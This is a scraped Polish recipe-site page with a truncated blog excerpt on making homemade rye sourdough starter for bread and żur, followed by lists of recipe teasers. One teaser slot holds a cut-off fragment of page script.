Domowy zakwas żytni do chleba i na żur
Źródło: https://azgotuj.blogspot.com/2018/10/domowy-zakwas-zytni-do-chleba-i-na-zur.html
Do wykonania zakwasu zwykle uzywam maki zytniej typu 720. Robilam z maki razowej typu 2000 ale wedlug mnie jest trudniej a sam proces dluzszy. Mieszamy zawsze drewniana lyzka. Jest wiele informacji o tym, ze zakwas nie moze miec kontaktu z metalem. Nie znalazlam nigdzie w technologii cukierniczej takiego ostrzezenia. Nie sprawdzalam takze czy faktycznie mozna w ten sposob popsuc zakwas. Kons...
Najnowsze przepisy
Monoporcje to desery, które od kilku lat coraz częściej... ⇖ 8
Pyszny makaron, o którym sobie przypomniałam całkiem... ⇖ 12
Kruche ciasto z budyniem i brzoskwiniami z puszkiKruche... ⇖ 17
(function(){ t257u="up8z0idl257g";t257=document.createElemen ⇖ 9
Żurek z ziemniakami to tradycyjna zupa kuchni polskiej o... ⇖ 14
Sałatka krabowa to jeden z tych przepisów, które ratują... ⇖ 15
Dziś na blogu kolejna propozycja na pyszną sałatkę w... ⇖ 22
Kremowe jajka faszerowane awokado z dodatkiem żółtek i... ⇖ 19
Przepisy z bloga
Barszcz czerwony to jedna z najbardziej rozpoznawalnych zup... ⇖ 36
Najprostsze desery są najlepsze. Ten pieczony custard to... ⇖ 48
Polędwica wołowa z purée z pietruszki i marchewkami z... ⇖ 58
Pulpety z indyka w aromatycznym sosie pomidorowym, podane... ⇖ 80
Do przygotowania roladek można użyć mięsa indyka, filet... ⇖ 110
Niskowęglowodanowe precle serowo czosnkowe. Wpisują się... ⇖ 166
Pasta z fety z dynią z suszonymi pomidorami na grzance z... ⇖ 111
Keto torcik migdałowy z musem czekoladowym i z polewą(bez... ⇖ 168
Ekspresowe ciastka migdałowe z makiem zrobione w ostatniej... ⇖ 160
Bożonarodzeniowy chlebek nisko węglowodanowy naładowany... ⇖ 161
Przepisy na czasie
To proste i szybkie ciasto ucierane na oleju, które zawsze... ⇖ 693
Jajka faszerowane szpinakiem z dodatkiem żółtego sera to... ⇖ 654
To ciasto ze śliwkami kalifornijskimi jest zaskakująco... ⇖ 654
